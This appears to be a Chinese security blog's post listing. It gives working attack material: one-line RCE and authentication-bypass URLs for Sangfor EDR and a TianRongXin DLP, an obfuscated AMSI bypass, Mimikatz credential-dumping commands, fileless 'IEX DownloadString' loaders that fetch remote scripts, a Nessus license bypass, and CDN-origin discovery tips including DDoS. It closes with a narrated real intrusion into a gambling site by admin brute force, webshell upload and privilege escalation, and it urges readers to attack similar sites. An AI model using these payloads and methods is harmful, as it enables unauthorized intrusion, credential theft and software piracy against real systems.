【0day】phpStudy(小皮面板)最新版v8.1.0.7 nginx 解析漏洞 业界新闻

一、phpStudy(小皮面板)简介:
phpStudy v8.1.0.7.png

phpStudy国内12年老牌公益软件,集安全,高效,功能与一体,已获得全球用户认可安装,运维也高效。支持一键LAMP,LNMP,集群,监控,网站,FTP,数据库,JAVA等100多项服务器管理功能。

二、漏洞简介:

自从2019年phpStudy爆出的后门事件已经过去一段时间了,期间也没有爆出过什么漏洞,并且现在phpStudy(小皮面板)已经改版了,这次爆出的漏洞是nginx的解析漏洞,也就是存在已久的/xx.php解析漏洞

漏洞原理

1、由于错误配置(但是测试的时候是安装完后的默认配置,我在官方论坛也反馈了,他们还狡辩。。。)导致nginx把以.php结尾的文件交给fastcgi处理,为此可以构造http://www.xxx.com/test.gif/xx.php (任何服务器端不存在的php文件均可,比如a.php)

2、但是fastcgi在处理xx.php文件时发现文件并不存在,这时php.ini配置文件中cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由fastcgi处理的文件就变成了/test.gif。

3、 最重要的一点是php-fpm.conf中的security.limit_extensions配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi将.png等文件当做代码解析。
localhost_80.conf原始配置:

location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }



三、漏洞复现:

测试环境:phpStudy(小皮面板)8.1.0.7 + 图片马(一定要注意不是那种copy的马子 有几率失败,可以下载这个马子测试)
复现如图:
bug_7.3.pngbug.png

执行系统命令:
exec.png
四、修复
php.ini 中 fix_pathinfo 禁用为0
cgi.fix_pathinfo=0

nginx.conf添加如下代码

location ~ \.php(.*)$ {
      if ( $fastcgi_script_name ~ \..*\/.*php ){
        return 403;
      }

            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }


请各位师傅下手轻点!注意保重!哈哈哈!


admin 发布于  2020-9-2 22:47 

HW礼盒:深信服edr RCE,天融信dlp unauth和通达OA v11.6版本RCE 渗透测试

HW礼盒,请查收:
深信服edr RCE
https://ip+端口/tool/log/c.php?strip_slashes=system&host=id 即可执行命令,
深信服EDR RCE (1).png
除上面之外,还有任意文件读取,验证码绕过,还有就是rce
任意用户登录:
注:2020年08月18日,fofa是通杀,版本小于 3.2.19
fofa指纹: title="SANGFOR终端检测响应平台"
payload:target+/ui/login.php?user=admin 即可直接登录:
SANGFOR (1).png
漏洞剖析:
在源码的:/web/ui/login.php 文件里面
登录判断的代码有一处让人感觉坑爹的地方:
SANGFOR-login (1).png


天融信dlp-未授权+越权

漏洞影响:已知版本号v3.1130.308p3_DLP.1

风险等级:高

漏洞细节:管理员登陆系统之后修改密码,未采用原由码校验,且存在未授权访问导致存在了越权修改管理员密码.

默认用户superman的uid=1

POST /?module-auth_user&action=mod_edit.pwd HTTP/1.1

修复==》找官网

奇安信天擎EDR管理服务器远程命令执行RCE漏洞:
漏洞描述:
影响范围:使用奇安信天擎EDR产品的主机
暂时不详
说明:
该漏洞通过深信服SSLVPN进入内网后,利用这类漏洞控制所有装有edr的机器。

深信服 vpn rce 漏洞详情暂时未知

致远OA-A8-V5最新版未授权getshell--七月火师傅暂未公开

通达OA11.6 preauth RCE
https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/%E9%80%9A%E8%BE%BEOA_v11.6_RCE_EXP.py 


admin 发布于  2020-8-20 13:22 

绕过AMSI执行powershell脚本 渗透测试

简单的演示下从老外哪里学来的bypass AMSI 的姿势,看下效果图: 

1.jpg

 

绕过AMSI执行powershell脚本

AMSI的全称是反恶意软件扫描接口(Anti-Malware Scan Interface),是从Windows 10开始引入的一种机制。AMSI是应用程序和服务能够使用的一种接口,程序和服务可以将“数据”发送到安装在系统上的反恶意软件服务(如Windows Defender)。

在基于场景的资产评估或者基于数据的红队评估中,许多渗透测试人员都会与AMSI打交道,因此对相关功能也比较了解。AMSI能够提供更强大的保护,可以为反恶意软件产品提供更透彻的可见性,因此能防御攻击过程中常用的一些现代工具、战术以及过程(TTP)。最相关的操作就是PowerShell无文件payload,在实际环境中,攻击者及渗透测试人员都在使用这种技术来完成任务。

正因为此,AMSI是大家广泛研究的一个主题,能否绕过AMSI已经成为攻击能否成功的决定性因素。在本文中,介绍了一种新的绕过方法。

关键powershell代码如下:

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils') 
$h="4456625220575263174452554847" 
$s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " 
$b =$a.GetField($s,'NonPublic,Static') $b.SetValue($null,$true)

效果如图:
AMSI_TN_bypass

代码来自:https://pastebin.com/sQFWANwr

参考文章:https://www.anquanke.com/post/id/180281


admin 发布于  2020-7-2 23:12 

更新 Invoke-Mimikatz.ps1 中的 Mimikatz 版本为最新 2.2.0 20200519 版本 技术文章

shotpic_2020-06-24_12-26-38.png



invoke-mimikatz是什么?invoke-mimikatz是powersploit渗透测试套装中的一个powershell版本的mimikatz工具,用来抓取windows操作系统中的密码。

但是其内置的mimikatz版本过低,导致在实际使用中会多多少少的有一些问题。



通过查看 https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 脚本内容知道 $PEBytes64 和 $PEBytes32 变量,应该是把 Mimikatz 的两个版本的EXE文件进行base64编码.

那就只替换最新的试试,使用 python3 替换完成更新代码 update.py 如下: 

import fileinput
import base64

with open("./Win32/mimikatz.exe", "rb") as f:
    win32 = base64.b64encode(f.read()).decode()

with open("./x64/mimikatz.exe", "rb") as f:
    x64 = base64.b64encode(f.read()).decode()

for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):

  line = line.rstrip('\r\n')
  if "$PEBytes64 = " in line:
    print("$PEBytes64 = '" + x64 + "'")
  elif "$PEBytes32 = " in line:
    print("$PEBytes32 = '" + win32 + "'")
  else:
    print(line)

将 update.py 脚本和 Invoke-Mimikatz.ps1 放在 mimikatz_trunk 解压后的同目录。执行即可更新完毕。

更新后的效果如首图所示,从 Mimikatz 2.1 2016年的版本更新到最新的 2.2.0 20200519 Windows 10 2004 (build 19041) 版本。

顺带提一下:Mimikatz 使用时需要高权限,至少是 administrator 权限 Mimikatz 抓取密码的命令需要 system 权限,可以先进行提权,

基本使用:

privilege::debug  //提升权限(从administrator提升到system)如果是system权限执行,可省略



抓取hash:

sekurlsa::logonpasswords   //获取当前在线用户的明文密码(需要高权限运行)

lsadump::lsa /patch   //获取当前此计算机存在过用户的NTLMHASH



mimikatz 的其他命令:

lsadump::sam SYSTEM.hiv //导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份

通过内存文件获取口令

sekurlsa::minidump lsass.dmp

sekurlsa::logonPasswords full

拉取 rd.adsecurity.org 域中的 KRBTGT 用户帐户的密码数据

lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt

拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的计算机帐户的密码数据

lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$



msf使用 mimikatz:

在meterpreter中加载mimikatz模块

load mimikatz



然后help,查看参数信息:

kerberos          Attempt to retrieve kerberos creds

livessp           Attempt to retrieve livessp creds

mimikatz_command  Run a custom command

msv               Attempt to retrieve msv creds (hashes)

ssp               Attempt to retrieve ssp creds

tspkg             Attempt to retrieve tspkg creds

wdigest           Attempt to retrieve wdigest creds



常用命令为kerberos和msv。



无文件落地执行 mimikatz 

在Windows server 2008 及之前 可以使用如下命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/SdU3mjdm'); Invoke-Mimikatz -DumpCreds" 

在Windows server 2009 及之后,可以使用如下命令:

powershell "IEX (New-Object Net.WebClient).DownloadString('https://url.cn/wv7uNQrc'); Invoke-Mimikatz"

然后抓取hash即可抓取 NTLM。

注意,目前上面这个新版的脚本来自我的 GitHub 仓库: https://github.com/Mr-xn/Penetration_Testing_POC/blob/master/tools/Invoke-Mimikatz.ps1

各位大佬点个star啊!里面收藏了我所看到过的觉得有价值的渗透测试工具,POC,Android渗透测试、脱壳相关的文章。

目前会有 BUG ,细心的可以看到图上的第二个命令行窗口。欢迎能修复BUG的大佬可以 Pull !



参考:鸿鹄实验室公众号文章-渗透tips---->更新你的invoke-mimikatz


admin 发布于  2020-6-24 12:27 

Nessus v8.9.1 系列Windows10上安装激活无IP限制版本 安全工具

0x0:前言

有关Nessus的简介不多说,做过企业渗透测试的特别是内网的渗透测试就会知道在拿到甲方授权的网络拓扑结构资产列表就可以全部放经来一波。往往会有意想不到的收获,主要是节省大量时间。

注:本次测试系统为Windows10 X64版本

0x1:安装Nessus

直接到 Nessus 官网:https://www.tenable.com/downloads/nessus 下载对应系统版本的 Nessus,基本上主流平台都有。下载好后打开进行安装即可。

Nessus会自动打开浏览器,询问是否使用SSL,选择是,如果浏览器提示证书问题,请忽略或添加白名单,一般默认地址是:https://localhost:8834/,到这里初始化后就开始选择安装了,需要注意第一步选择 Managed Scanner 这项,

step1.png

然后在 Manageed by 下拉选择 Tenable.sc ,

step2.png

然后Continue 即可下一步,

step3.png

创建账号密码。完成后就可以进行下一步。

0x2:获取离线安装包和激活码

打开网址:https://zh-cn.tenable.com/products/nessus/activation-code?tns_redirect=true#nessus

注册一个免费版即 Nessus Essentials ,填写姓名、邮件,然后会收到一封邮件,包含激活码,记住这个激活码,后面下载插件包需要用到。

activecode.png

以管理员权限打开CMD。切换到 Nessus 安装目录,cd D:\Nessus\,执行如下命令获取 Challenge code:

D:\Nessus>nessuscli.exe fetch --challenge



Challenge code: 3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxf



You can copy the challenge code above and paste it alongside your

Activation Code at:

https://plugins.nessus.org/v2/offline.php



challenge code.png

然后访问 https://plugins.nessus.org/offline.php 填写 Challenge code 和 上面邮件收到的 activation code 来下载获取 all-2.0.tar.gz 和 nessus-fetch.rc 文件



get plugin.png

download plugin.png

downloading plugin.png

最好全程挂代理,速度就很快,不然会很慢。

0x3:离线更新插件

还是在 Nessus 的安装目录使用CMD进行更新:

D:\Nessus>nessuscli.exe update D:\all-2.0.tar.gz

update plugin.png

更新成功后,需要复制 nessus-fetch.rc 到对应文件夹,但是我这里测试并没这个目录,可能是新版本取消了或者Windows取消了,但是 Linux 或 MacOS 貌似 需要这么操作,可以自己搜索一下这个文件是否存在或者是路径是否存在。附上插件下载页面的说明:

You also need to copy the following file to :

/opt/nessus/etc/nessus/nessus-fetch.rc (Unix)

C:\Documents and Settings\All Users\Application Data\Tenable\Nessus\conf\nessus-fetch.rc (Windows XP/2K3)

C:\ProgramData\Tenable\Nessus\conf\nessus-fetch.rc (Windows Vista/7/8/2008/2012)

/Library/Nessus/run/etc/nessus/nessus-fetch.rc (Mac OS X)

/usr/local/nessus/etc/nessus/nessus-fetch.rc (FreeBSD)

0x4:覆盖替换 plugin_feed_info.inc 文件

一开始我的安装完啥都没有,根本没有这个文件。自己在官网这里:https://community.tenable.com/s/article/Tenable-sc-Plugins-Out-of-Sync-warning-explained-Formerly-SecurityCenter

看到了文件内容,就自己手动构造了一个,plugin_feed_info.inc内容大致如下:

PLUGIN_SET = "202003210000";

PLUGIN_FEED = "ProfessionalFeed (Direct)";



PLUGIN_FEED_TRANSPORT = "Tenable Network Security Lightning";



其中 PLUGIN_SET  为你登录 Nessus后的plugin set 值,就是插件版本号,根据你自己的插件版本来,比如 201911212121 或者 202003210000。

将这两个文件复制/替换到如下两个文件夹:

D:\Nessus\nessus\plugin_feed_info.inc

D:\Nessus\nessus\plugins\plugin_feed_info.inc

注意:需要管理员权限覆盖,请自己注意你的安装路径。

最后:重启Nessus 服务,可以再服务里面右键直接重启 Tenable Nessus  服务,也可以自己在刚刚的CMD里面执行(需要管理员权限) :

net stop "Tenable Nessus" && net start "Tenable Nessus"  也可以重启 Nessus 服务。

restart nessus service.png

初始化.png

unlimited version.png

如果是Linux或者是MacOS请注意文件复制后的权限和所有者,需要改成和其他文件一样的用户、组和权限。

重启 Nessus 服务后登录即可看到是 Unlimited 权限,就不再有限制16个IP的扫描了。

但是插件包 免费版和拥有专业版的是不一样的?有没有大佬知道。




更新插件包相关问题请看这里:https://mrxn.net/jswz/673.html


admin 发布于  2020-3-21 19:11 

Shodan 庆祝成立10周年,会员优惠1$ 资源分享

不多说,如果你搞渗透测试或者信安,这些东西不知道Shodan的话,就不用看了。

今天在Shodan 的官方twitter看到,他们的活动通知,

shodan.png

在UTC时间23号一天里只需要1$即可购买成为会员,算成北京时间就是明天早上八点结束。


可以使用PayPal或者是信用卡支付,你也可以找人代付,但是这个只有20次下载,但是你可以不用下载,自己写脚本用API查询,导出数据。活动地址,shodan.io/store/member 快上车,其他时间只有一年一度的黑五优惠,是5$,100次。

标签: 渗透测试

admin 发布于  2019-11-23 11:16 

寻找CDN背后的真实IP方式总结之2019完结篇 技术文章

注:总共两篇文章,第一篇文章来自信安,第二篇来自 WhITECat。我这里只是总结一下,方便自己查看,不用每次都去翻好几篇文章,如果两位原作不允许,随时删除。

第一篇:绕过 CDN 寻找真实 IP 地址的各种姿势

个人觉得,绕过 CDN 去寻找主机的真实 ip,更容易能寻找到企业网络的薄弱地带,所以 Bypass CDN 也就变成了至关重要的一点。

0x01 常见 Bypass 方法

域名搜集

由于成本问题,可能某些厂商并不会将所有的子域名都部署 CDN,所以如果我们能尽量的搜集子域名,或许可以找到一些没有部署 CDN 的子域名,拿到某些服务器的真实 ip/ 段

然后关于子域名搜集的方式很多,就不一一介绍了,我平时主要是从这几个方面搜集子域名:

1、SSL 证书

2、爆破

3、Google Hacking

4、同邮箱注册人

4、DNS 域传送

5、页面 JS 搜集

6、网络空间引擎



工具也有很多厉害的,平时我一般使用 OneForALL + ESD + JSfinder 来进行搜集,(ESD 可以加载 layer 的字典,很好用)



查询 DNS 历史解析记录

常常服务器在解析到 CDN 服务前,会解析真实 ip,如果历史未删除,就可能找到

常用网站: 



http://viewdns.info/

https://x.threatbook.cn/

http://www.17ce.com/

https://dnsdb.io/zh-cn/

https://securitytrails.com/

http://www.ip138.com/

https://github.com/vincentcox/bypass-firewalls-by-DNS-history

MX 记录(邮件探测)

这个很简单,如果目标系统有发件功能,通常在注册用户/找回密码等地方,通过注册确认、验证码等系统发来的邮件进行查看邮件原文即可查看发件IP地址。

SSL 证书探测

我们可以利用空间引擎进行 SSL 证书探测

443.https.tls.certificate.parsed.extensions.subject_alt_name.dns_names:www.baidu.com

再放一个搜集证书的网站:



https://crt.sh

一个小脚本,可以快速搜集证书


-- coding: utf-8 --

@Time    : 2019-10-08 22:51

@Author  : Patrilic

@FileName: SSL_subdomain.py

@Software: PyCharm



import requests

import re



TIME_OUT = 60

def get_SSL(domain):

    domains = []

    url = 'https://crt.sh/?q=%25.{}'.format(domain)

    response = requests.get(url,timeout=TIME_OUT)

    # print(response.text)

    ssl = re.findall("<TD>(.*?).{}</TD>".format(domain),response.text)

    for i in ssl:

        i += '.' + domain

        domains.append(i)

    print(domains)



if name == 'main':

    get_SSL("baidu.com")



还有一种方式,就是搜集 SSL 证书 Hash,然后遍历 ip 去查询证书 hash,如果匹配到相同的,证明这个 ip 就是那个 域名同根证书的服务器真实 ip

简单来说,就是遍历 0.0.0.0/0:443,通过 ip 连接 https 时,会显示证书

当然,也可以用 censys 等引擎

偏远地区服务器访问

在偏远地区的服务器访问时,可能不会访问到 CDN 节点,而是直接访问服务器真实 ip

所以我们可以搞一个偏远地区的代理池,来访问目标域名,有概率就可以拿到真实 ip

也就是平常说的多地 Ping

favicon_hash 匹配

利用 shodan 的 http.favicon.hash 语法,来匹配 icon 的 hash 值, 直接推:

https://github.com/Ridter/get_ip_by_ico/blob/master/get_ip_by_ico.py

CloudFlare Bypass

免费版的 cf,我们可以通过 DDOS 来消耗对方的流量,只需要把流量打光,就会回滚到原始 ip

还有利用 cloudflare 的改 host 返回示例:

https://blog.detectify.com/2019/07/31/bypassing-cloudflare-waf-with-the-origin-server-ip-address/

里面给了详细的介绍,我们可以通过 HOST 来判断是否是真实 ip, 具体看文章即可

奇特的 ping

比如可能有些地方,使用的 CDN 都是以 www.xxx.edu.cn,例如 www.cuit.edu.cn,www.jwc.cuit.edu.cn

可能去掉前缀的 www,就可能绕过 CDN 了,猜测应该是类似于 Apache VirtualHost, 可参考

https://httpd.apache.org/docs/2.4/en/vhosts/examples.html

例如对WWW域名和根域名(不带WWW)分别进行PING,结果有可能不同。

其实是 ping 了 www.xxx.xxx.cn 和 xxx.xxx.cn,这样就可以绕过 CDN 的检测。

利用老域名

在换新域名时,常常将 CDN 部署到新的域名上,而老域名由于没过期,可能未使用 CDN,然后就可以直接获取服务器真实 ip。

例如 patrilic.top > patrilic.com

域名更新时,可能老域名同时解析到真实服务器,但是没有部署 CDN

这个可以通过搜集域名备案的邮箱去反查,可能会有意外收获

暴力匹配

找到目标服务器 IP 段后,可以直接进行暴力匹配 ,使用 masscan 扫描 HTTP banner,然后匹配到目标域名的相同 banner

最后是 DDos/ 社工 CDN 平台等

0x02 其他方法

phpinfo.php 这类探针

ssrf,文件上传等漏洞

略..



第二篇文章:“最后”的Bypass CDN 查找网站真实IP

注:其实与第一篇有重复的的地方,请自行斟酌查看。

0x00起源~

查找网站真实IP过程中我们会经常用到一些Bypass CDN的手法,而Bypass CDN的常见姿势,之前看到过“信安之路”的某位大佬总结的挺好的,于是和小伙伴们又专门的去学习了一波,然后决定将学习心得归结于文字,以便于记录和复习。

0x01判断是否存在CDN

       查找网站真实IP的第一步是先查看当前站点是否部署了CDN,而较为简单快捷的方式就是通过本地Nslookup查询目标站点的DNS记录,若存在CDN,则返回CDN服务器的地址,若不存在CDN,则返回的单个IP地址,我们认为它就是目标站点的真实IP。

除了使用nslookup,还可以通过第三方站点的DNS解析记录或者多地ping的方式去判断是否存在CDN。判断CDN只是个开始,不加赘述。。。

小伙伴-胡大毛的www法

以前用CDN的时候有个习惯,只让WWW域名使用cdn,秃域名不适用,为的是在维护网站时更方便,不用等cdn缓存。所以试着把目标网站的www去掉,ping一下看ip是不是变了,您别说,这个方法还真是屡用不爽。

小伙伴-刘正经的二级域名法

目标站点一般不会把所有的二级域名放cdn上,比如试验性质的二级域名。Google site一下目标的域名,看有没有二级域名出现,挨个排查,确定了没使用cdn的二级域名后,本地将目标域名绑定到同ip,能访问就说明目标站与此二级域名在同一个服务器上。不在同一服务器也可能在同C段,扫描C段所有开80端口的ip,挨个试。如果google搜不到也不代表没有,我们拿常见的二级域名构造一个字典,猜出它的二级域名。比如mail、cache、img。

查询子域名工具:layer子域名挖掘机 subdomin

扫描c段好用工具:zmap(https://www.cnblogs.com/China-Waukee/p/9596790.html)

还是“刘正经”的nslookup法

查询域名的NS记录,其域名记录中的MX记录,TXT记录等很有可能指向的是真实ip或同C段服务器。

注:域名解析--什么是A记录、别名记录(CNAME)、MX记录、TXT记录、NS记录(https://www.22.cn/help_34.html



小伙伴-胡小毛的工具法

这个工具http://toolbar.netcraft.com据说会记录网站的ip变化情况,通过目标网站的历史ip地址就可以找到真实ip。没亲自测试,想必不是所有的网站都能查到。

例:http://toolbar.netcraft.com/site_report?url=http://www.waitalone.cn



小伙伴-狄弟弟的目标敏感文件泄露

也许目标服务器上存在一些泄露的敏感文件中会告诉我们网站的IP,另外就是如phpinfo之类的探针。



小伙伴-匿名H的墙外法

很多国内的CDN没有节点对国外服务,国外的请求会直接指向真实ip。有人说用国外NS和或开国外VPN,但这样成功率太低了。我的方法是用国外的多节点ping工具,例如just-ping,全世界几十个节点ping目标域名,很有可能找到真实ip。

域名:http://www.just-ping.com/



小伙伴-不靠谱的从CDN入手法

无论是用社工还是其他手段,反正是拿到了目标网站管理员在CDN的账号了,此时就可以自己在CDN的配置中找到网站的真实IP了。此法着实适用于“小伙伴-不靠谱”使用。



还是“不靠谱”的钓鱼法

不管网站怎么CDN,其向用户发的邮件一般都是从自己服务器发出来的。以wordpress为例,假如我要报复一个来我这捣乱的坏蛋,坏蛋使用了 CDN,我要找到它的真实ip以便DDOS他。我的方法是在他博客上留言,再自己换个名回复自己,然后收到他的留言提醒邮件,就能知道发邮件的服务器ip 了。如果他没开提醒功能,那就试试他是不是开启了注册功能,wordpress默认是用邮件方式发密码的。



0x03“最后”的总结

      小伙伴“最后”来了一波总结:



百因必有果,你的报应就是我~o~



万剑归宗不是火,万法合一才是果~o~



小伙伴们总结了一波又一波方法,“最后”表示不太行,方法很多,每一个看起来都很实用,但实战告诉我们,只有把这些方法都灵活贯通的结合使用才能达到最大的效果。“最后”以胡大毛的www法结合查找网站历史DNS解析记录的方法查找某个站点的真实IP的举例如下:



某站点www.xxx.com的当前解析显示有多个IP,但历史解析仅有一个IP,可以猜测该IP可能是真实IP。



“最后”认为除了需要将方法结合使用之外,辅助工具也是不可缺少的,于是又整理了一波常用的工具和查询平台如下:



    1、查询SSL证书或历史DNS记录



https://censys.io/certificates/&nbsp;  ###通过SSL证书查询真实IP(推荐)



https://site.ip138.com/&nbsp;  ###DNS、IP等查询



http://ping.chinaz.com/&nbsp;  ###多地ping



http://ping.aizhan.com/&nbsp;  ###多地ping



https://myssl.com/dns_check.html#dns_check&nbsp;  ###DNS查询



https://securitytrails.com/&nbsp;  ### DNS查询



https://dnsdb.io/zh-cn/&nbsp;   ###DNS查询



https://x.threatbook.cn/&nbsp;  ###微步在线



http://toolbar.netcraft.com/site_report?url=&nbsp;  ###在线域名信息查询



http://viewdns.info/&nbsp;  ###DNS、IP等查询



https://tools.ipip.net/cdn.php&nbsp;  ###CDN查 询IP



    2、相关工具



子域名查询工具:layer子域名挖掘机,dirbrute,Oneforal(下载链接:https://github.com/shmilylty/OneForAll,推荐



站点banner信息获取:Zmap,masscan等。



参考链接

https://github.com/shmilylty/OneForAll



https://github.com/FeeiCN/ESD



https://github.com/Threezh1/JSFinder



https://github.com/AI0TSec/blog/issues/8



https://www.4hou.com/tools/8251.html



https://www.freebuf.com/sectool/112583.html



admin 发布于  2019-10-30 05:35 

CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC 渗透测试

CVE-2019-17624-X.Org X Server 1.20.4 - Local Stack Overflow-Linux图形界面X Server本地栈溢出POC

0x1 简单介绍

X Server 是绝大对数Linux发行版和Unix系统的基础图形界面程序,是系统标配。而此程序也是以Root权限启动的,因而成功溢出它而获得的shell,也是root权限。

0x2 漏洞相关信息

# 时间: 2019-10-16

# 作者: Marcelo Vázquez (s4vitar)

# 厂商: https://www.x.org/

# 版本: <= 1.20.4

# 测试平台: Linux

# CVE: CVE-2019-17624



0x3 POC

#!/usr/bin/python
#coding: utf-8

# ************************************************************************
# *                Author: Marcelo Vázquez (aka s4vitar)                 *
# *      X.Org X Server 1.20.4 / X Protocol Version 11 (Stack Overflow)  *
# ************************************************************************

import sys, time
import ctypes as ct

from ctypes import cast
from ctypes.util import find_library

def access_violation(x11, current_display):
  keyboard = (ct.c_char * 1000)()
  x11.XQueryKeymap(current_display, keyboard)

if __name__ == '__main__':

  print "\n[*] Loading x11...\n"
  time.sleep(2)

  x11 = ct.cdll.LoadLibrary(find_library("X11"))
  current_display = x11.XOpenDisplay(None)

  print "[*] Exploiting...\n"
  time.sleep(1)

  try:
    access_violation(x11, current_display)

  except:
    print "\nError...\n"
    sys.exit(1)



参考: https://www.exploit-db.com/exploits/47507


admin 发布于  2019-10-16 23:02 

从朋友圈XX中奖getshell到提权服务器过程简单记录 渗透测试

注意:所有的过程仅供渗透学习研究参考,禁止用于他途。

建议学习渗透的朋友搜索一些非法网站的关键词来进行实战练习!干爆他们!



0x1 背景

在朋友圈发现小姨转发了一篇XXX中奖,打开一开是XX彩票,其实就是菠菜的皮,果断先劝小姨删掉这条朋友圈,就有了下面这篇文章:

0x2 信息搜集

发现目标系统是dedecms,且为windows系统(文件名大小写快速判断),果断使用我项目里收集的改良版爆破dedecms后台的py脚本 多给我点点 Star啊!

几十秒钟后成功爆破得到后台路径:http://xxxx.com/xaxaxa

打开发现没有验证码,果断使用burpsuite抓包爆破,但是没有收获!

暂停去喝杯水,回来用后台路径xaxaxa作为用户名密码登录成功进入后台,文件管理哪里,直接上传文件,直接getshell

由此可知,服务器没有WAF,不然上传shell肯定被拦截!

蚁剑走起,因为发现冰蝎并不是太好用,对环境有一定要求。

0x3 提权:

首先想到的是mysql udf提权

通过查看dedecms的数据库配置文件 /data/common.inc.php得到数据库帐号,而且还是root帐户。

本以为可以顺利提权的,结果GG!记录一下吧:



查看MySQL版本,因为在高版本中有个参数至关重要,就是secure-file-priv,这个参数限制了MySQL的导出;

该参数为NULL时不允许导出、该参数为空时允许在任意文件夹中导出、该参数为某文件夹时允许在该文件夹中导出。

这个参数在各个版本中的表现如下:

MySQL5.5版本:my.ini中无此参数,查询该参数情况为NULL;

MySQL5.6版本:my.ini中无此参数,查询该参数情况为空;

MySQL5.7版本:my.ini中有此参数,查询该参数情况为数据目录下的Upload文件夹。



mysql> select version();

+-----------+

| version() |

+-----------+

| 5.5.46    |

+-----------+

1 row in set (1.28 sec)



事实证明这个用来确认系统版本不准确!因为这个是MySQL的版本,并不是系统版本。

mysql> select @@version_compile_os, @@version_compile_machine;

+----------------------+---------------------------+

| @@version_compile_os | @@version_compile_machine |

+----------------------+---------------------------+

| Win32                | x86                       |

+----------------------+---------------------------+

1 row in set (2.01 sec)



mysql> show variables like '%compile%';

+-------------------------+-------+

| Variable_name           | Value |

+-------------------------+-------+

| version_compile_machine | x86   |

| version_compile_os      | Win32 |

+-------------------------+-------+

2 rows in set (1.86 sec)



mysql> select @@plugin_dir;

+-------------------------------------------------+

| @@plugin_dir                                    |

+-------------------------------------------------+

| D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\ |

+-------------------------------------------------+

1 row in set (1.26 sec)



mysql> select load_file('D:\www\xxxxxxxxxx.com\a\chanpinzhongxin\lib_mysqludf_sys_32.dll') into dumpfile 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll';

1 - Can't create/write to file 'D:\ZKEYS_PHP\MySql\MySQL Server 5.5\lib\plugin\udf.dll' (Errcode: 13)



还尝试过使用HEX来进行写入,也宣告失败。

最后进了系统后发现那个文件夹管理员都没有直接查看权限!还需要先取得所有权才能查看!我丢!难怪root权限的mysql帐户也不能导出dll。

真的是实战渗透你会发现什么样的环境都有,很少有教科书一样的环境,需要自己灵活变通,所有的教程都只能是参考!



0x4 使用EXP打,梭哈:

下面就换一个方式,使用EXP来打...在不知道补丁情况下我就用N多个匹配目标系统的EXP来尝试...

好在最后通过缩小目标范围成功提权,下面是一些本次Windows Server 2008 R2 Enterprise的EXP提权测试记录。



D:\www\xxxxxxxx.com\about> tasklist

映像名称                       PID 会话名              会话#       内存使用 

========================= ======== ================ =========== ============

System Idle Process              0                            0         24 K

System                           4                            0        364 K

smss.exe                       452                            0      2,192 K

csrss.exe                      536                            0     15,284 K

csrss.exe                      588                            1      8,256 K

wininit.exe                    596                            0      6,940 K

services.exe                   640                            0     13,340 K

lsass.exe                      648                            0     70,872 K

lsm.exe                        656                            0      9,144 K

winlogon.exe                   712                            1      7,936 K

svchost.exe                    796                            0     15,388 K

svchost.exe                    876                            0     16,156 K

LogonUI.exe                    964                            1     17,688 K

svchost.exe                    972                            0     16,988 K

spoolsv.exe                   1136                            0     20,572 K

svchost.exe                   1172                            0     12,644 K

svchost.exe                   1196                            0     18,556 K

inetinfo.exe                  1224                            0     30,140 K

mysqld.exe                    1432                            0    223,128 K

svchost.exe                   1484                            0     14,536 K

svchost.exe                   1524                            0      4,880 K

svchost.exe                   1564                            0     37,440 K

svchost.exe                   2500                            0     15,892 K

svchost.exe                  17884                            0      6,736 K

msdtc.exe                    17932                            0      9,852 K

csrss.exe                    20892                            2     14,512 K

winlogon.exe                 31176                            2     10,096 K

taskhost.exe                 37920                            2      8,888 K

rdpclip.exe                  32664                            2     10,204 K

dwm.exe                      20120                            2      6,828 K

explorer.exe                 39432                            2    120,864 K

LocoyPlatform.exe            38208                            2    285,120 K

wlrmdr.exe                   67128                            2      6,196 K

w3wp.exe                     51948                            0     18,636 K

w3wp.exe                      4956                            0     18,224 K

w3wp.exe                     13988                            0     18,508 K

dllhost.exe                  27880                            0      6,596 K

wsmprovhost.exe              35776                            0      7,536 K

w3wp.exe                     56336                            0     17,804 K

php-cgi.exe                  47428                            0     25,352 K

php-cgi.exe                  10924                            0     25,820 K

w3wp.exe                     57064                            0     17,508 K

php-cgi.exe                  25912                            0     25,296 K

w3wp.exe                     16252                            0     17,516 K

php-cgi.exe                  28464                            0     25,252 K

php-cgi.exe                  59852                            0     25,196 K

w3wp.exe                     68792                            0     17,700 K

php-cgi.exe                  65204                            0     23,368 K

w3wp.exe                     49940                            0     17,360 K

cmd.exe                      40808                            0      4,780 K

conhost.exe                  48340                            0      4,892 K

cmd.exe                      68144                            0      4,728 K

tasklist.exe                 26436                            0      7,352 K

 

在进程里没有发现杀软,虽然shell是免杀得...没有最方便啦!这也印证了开始传shell的猜想。

 

查看用户和所在用户的权限:

D:\www\xxxxxxxx.com\about> net user

\ 的用户帐户

